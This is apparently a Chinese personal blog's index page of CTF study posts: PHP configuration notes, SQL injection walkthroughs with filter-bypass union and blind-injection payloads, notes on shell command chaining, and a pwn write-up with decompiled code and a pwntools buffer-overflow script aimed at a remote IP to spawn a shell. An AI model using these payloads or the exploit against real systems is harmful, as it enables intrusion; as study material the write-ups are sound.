hhd


  • 首页

  • 分类
  • shake it!!!

php核心配置详解

发表于 2017-11-18 | 分类于 php

1.register_globals:全局变量注册开关
会把用户提交的参数初始化并可以直接在脚本中使用。从php5.3.0开始被废弃。
2.allow_url_include:是否允许包含远程文件
开启时可以直接包含远程文件。利用这个可以构造url
如http://localhost/1.php?file=http://..../某个文件。
3.magic_quotes_gpc :魔术引号自动过滤
自动在用户提交参数里的’ “ \ 及空字符前面加上\,但是他并不会过滤$SERVER变量
4.magic_quotes_runtime :魔术引号自动过滤
将从数据库或文件中获取的数据加\
5.open_basedir:可访问目录
限制php,即外部能访问的目录,注意是前缀。
/www/a 的话,/www/ab也能访问,必须设置成/www/a/

平台题目wp

发表于 2017-11-16 | 分类于 ctf.web

简单的sql注入1:

开始我的纯手工注入

1

发现可以输出id和name,由此可以判断数据库查询输出的只有一行

1‘

发现出错,可以注入

1’ union select database()#

发现除了database()全部被过滤,再测试一下发现他会自动过滤>1个空格的前面的单词。如1 union select会变成1 select
这样我们可以构造两种,一种是双字,一种是利用/**/

1’//union//select/**/database()’或者1’ unionunion selectselect
database()’

其实还有一个坑,就是他过滤了#,可以试一试

1’//union//select//table_name//from//information_schema.tables//where/**/table_shcema=’web1

出错,发现前面web1前面的所有内容都没有了,说明过滤了table_name或者table_schema,后来证明是table_schema,想到双字

1’//union//select//table_name//from//information_schema.tables//where/**/table_schemtable_schemaa=’web1

然后得到表,下面要得字段名

1’//union//select//column_name//from//information_schema.columns//where/**/table_name=’flag

这一次我们很快知道,是由于前面的column_name所以

1’//union//select//column_namcolumn_namee//from//information_scheminformation_schema.columnsa.columns//where/**/table_name=’flag

得到这个不是那么容易…因为我漏掉了from,而且information_schema.columns的拼接让我很纠结。。。

1’//union//select//flag//from//flag//where/**/‘1’=’1

我只能说我这里还有一个坑就是where ‘1’=’1 ,我用了’,然后不行,为什么一开始可以呢,我觉得是一开始是select一段字符串,可以用’’拼接,但是from flag后面不能拼接空字符串。可能这是标准写法。我不懂啊!!!

大概就这样,看了能解答的私信我。
qq:1466742963

ctf中遇到的php函数

发表于 2017-11-04 | 分类于 php

最近写web题目,对php又感觉生疏了。
php函数是web题目的重点,所以我打算记录下每次的函数。

1.implode(separator,array)
返回由数组元素组合成的字符串
separator 可选。规定数组元素之间放置的内容。默认是 “”(空字符串)
array 必需。要组合为字符串的数组

2.preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索subject与pattern给定的正则表达式的一个匹配,前两个参数比较重要
pattern:要搜索的模式,字符串类型
subject:输入字符串
matches:如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推
。。

3.shell_exec
当php源码里面有这个服务,可以试着注入。
; && || |
;表示先后执行 &&表示先

好玩的sql第二篇

发表于 2017-09-20 | 分类于 sql.fun

与第一篇的返回错误有些许不同,仔细看发现程序并没有将id用引号引起,所以是整数类型。
其余都与第一篇一样。

pwn学习

发表于 2017-09-20 | 分类于 pwn

C与C++安全编码

有关字符串的一些概念

字符串
c语言中都是以数组存储字符串,以\0作为字符串结尾,低位地址是数组首元素地址,高位地址是数组末元素地址。
sizeof 用来计算数组大小。但是对于数组与指针应用时,sizeof对同一个数组的大小计算不同。果然我们学的是基础的c语言,如果当时学仔细一点,就应该发现这个问题的。

宽字节简单来说就是大一点的字符,需要更多空间。

字符串字面值就是这个字符串的值,宽字符串前缀是L

字符串类型:C语言中字符串常量类型为int
以下结果是4,1.告诉我们C语言中神奇的存储,我以前都没怎么注意说实话…

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define x 'a'
int main()
{
char a[1];
printf("%ld\n",sizeof(x));
printf("%ld\n",sizeof(a));
return 0;
}

计算字符串大小
strlen函数是我们经常用来计算字符串元素个数的,但是如果应用于宽字节,就会导致错误。strlen函数一旦遇到空字节就判断字符串结束,但是宽字符包含空字节。所以会产生错误。

字符串的常见错误

最常见的字符串错误:无界字符串复制错误,差一错误,空结尾错误,字符串截断错误。

一、无界字符串复制
例如gets就是一个很麻烦的例子。
当定义数组小于输入字符串时,就会发生错误。
同样的,命令行参数输入,如果复制进定义的数组,但是定义数组空间不够的话,就会发生错误。

二、差一错误
与数组越界类似,预定数组长度不够的情况下会发生。

三、空字符结尾错误
指的是字符串数组没有以正确的空字符结尾。
比如,strncpy复制不超过n个字符,很可能为复制进空字符结尾,这样会导致数组很大很大,超过想象,那么对另一个数组进行操作时,就会发生错误。有时候编译器不会告诉你错误,但是漏洞就会存在。

四、字符串截断
数组长度不足以容纳一个字符串的内容时,会发生字符串截取,程序员为了防止缓冲区溢出,可能会用到字符串截取,有可能会导致丢失数据或者出现漏洞。

五、与函数无关的字符串错误
这个我感觉发生的概率比前几个高。
简略版代码:(略略略)buff[128] buff[i]=a[i] buff[i]=’\0’

字符串漏洞及其利用

一、缓冲区溢出
名字虽然很高深的样子,其实就是数组或者特定分配的内存空间外写进数据,就称为缓冲区溢出。未进行隐式的边界检查。

二、栈管理及栈溢出
基本概念:从C语言来说就是 先进后出 的某个对内存的操作后的内存(= =)
一般来说,弹 出栈 意味着栈指针需要 递增 。栈在压入变量之后一般还会在最后压入返回地址,这意味着一旦这一段结束即可返回。(可能是错的,只是暂时的总结)
栈溢出:由于栈在内存中按顺序存储,一个栈可能存储许多不同类型的数据,包括变量,指针,地址等等。如果用户恶意输入,很可能使得数据泄露或者越过某些数据检验。比如,简单的弧注入攻击。
代码注入:被恶意注入的代码也叫外壳代码,攻击者往往利用某个子例程的返回地址导致栈混乱,从而获取该程序相同的权限,如果是root权限,即是开一个远程shell,获取最高权限。
恶意参数的特征:(感觉很有趣)

1
2
3
有漏洞的程序必须接受它作为合法的输入
参数,以及其他可控制的输入,必须导致有漏洞的代码路径得到执行
参数不能在程序将控制权转移到shellcode之前导致程序异常中止

个人觉得第一点是程序写的不好,第二点是你输入的恶意参数必须能干点事,第三点就是你不能输入的参数直接把程序搞崩。

题目

给出了a.out
第一步,反汇编。核心代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
一、
int __cdecl main(int argc, const char **argv, const char **envp)
{
_x86_get_pc_thunk_ax();
vul();
return 0;
}
二、
void vul()
{
char a[100]; // [sp+Ch] [bp-6Ch]@1
puts("--------------------------------------------------------------------------");
printf(
"杩欎釜绋嬪簭閲岄潰鏈変釜鍙埍鐨勫皬濮愬锛屽ス鍦08p,浣嗘槸涓囨伓鐨勭帇灏忓悰涓嶄細璋冪敤濂癸紝鐣ョ暐鐣ワ紒\n",
xiaoxiannv);
fflush(0);
puts(" 缁欎綘涓満浼氾紝璁╀綘璇村彞璇濓紝瑕佹槸浣犺兘鎰熷姩灏忓悰锛岄偅涔堝氨璁╀綘鍜屽皬濮愬瀵硅瘽锛);
puts("--------------------------------------------------------------------------");
fflush(0);
read(0, a, 0x3E8u);
puts("emmmmm锛屼笉鏁㈠姩锛屼竴鐐归兘涓嶆暍鍔紒");
}
三、
void xiaoxiannv()
{
int v0; // eax@1
v0 = _x86_get_pc_thunk_ax();
system(&aBinSh[v0 - 134513874]);
}

main函数中跳转到vul函数,重点关注read(0, a, 0x3E8u)这句话,这个是把a的大小放入内存,这样就容易造成栈溢出。

1
2
3
4
5
6
7
8
#!/usr/bin/env python
from pwn import *
payload = 'a'*112+p32(0x80484c6)
p = remote('121.42.189.18',5009)
p.sendline(payload)
p.interactive()
print p.recvall()

由char a[100]; // [sp+Ch] [bp-6Ch]@1可知,a的实际内存大小为108再加上ebp的大小一共为112。再跳到xiaoxiannv那个函数。
再就是关于linux命令的知识了。


好玩的sql第五篇

发表于 2017-09-20 | 分类于 sql.fun

1-4篇是基础知识。 从第五篇开始是盲注的有关知识。

上次的正常显示用户名和密码,这次不管怎么样都是同样的字符串,看来不是 直接输出 查询结果,而是利用 条件判断 来输出结果。

一些小知识

1
2
3
4
rand():产生随机数
floor():取整
count():计数
group by():分组

开始实验五

第一步

1
2
3
?id=1' and left(select version(),1)=4--+
?id=1' and length(database())=8--+
?id=1' and left(database(),1)='s'--+

利用 left() 猜解版本、数据库长度、数据库名

第二步

1
2
3
ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1),1,1))='*'--+
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id LIMIT 0,1),1,1))=??

limit 0,1是表示获取 第一个表 ,获取 第二个表 是limit 1,1

好玩的sql第三篇

发表于 2017-09-20 | 分类于 sql.fun

第三篇与一二篇又有点类似,不过php写的形式有点不同,有些程序员花样就是多…

同样输入?id=1’
以下是三次的对比错误返回:
1.Erreur de syntaxe près de ‘’1’’ LIMIT 0,1’ à la ligne 1
2.Erreur de syntaxe près de ‘’ LIMIT 0,1’ à la ligne 1
3.Erreur de syntaxe près de ‘’1’’) LIMIT 0,1’ à la ligne 1

?id=1’) union select 1,2,3–+
与一二篇类似。

好玩的sql第四篇

发表于 2017-09-20 | 分类于 sql.fun

输入?id=1
显示正常

输入?id=1’
显示正常

输入?id=1”
发现异常,从错误反馈可知依然需要加)

第一二三四篇告诉我们简单攻击也有多种情况,要全面。

汇编语言学习

发表于 2017-09-20 | 分类于 汇编语言

8086有20位地址总线,却只能传送16位地址,所以使用逻辑地址(段地址:偏移量)来表示,充分利用20位地址总线。

物理地址=段地址*16+偏移量

内存并没有分段,只是CPU将其分段。一个段最大长度为64K。也就是允许0~FFFFH的偏移量。

mov指令无法修改CS与IP,可以利用jmp来修改:jmp 段地址:偏移地址

好玩的sql第六篇

发表于 2017-09-20 | 分类于 sql.fun

不一样的就是id=1”
其余与第五篇一毛一样

123
hhd

hhd

i'm a good man.

27 日志
11 分类
11 标签
© 2017 hhd
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.2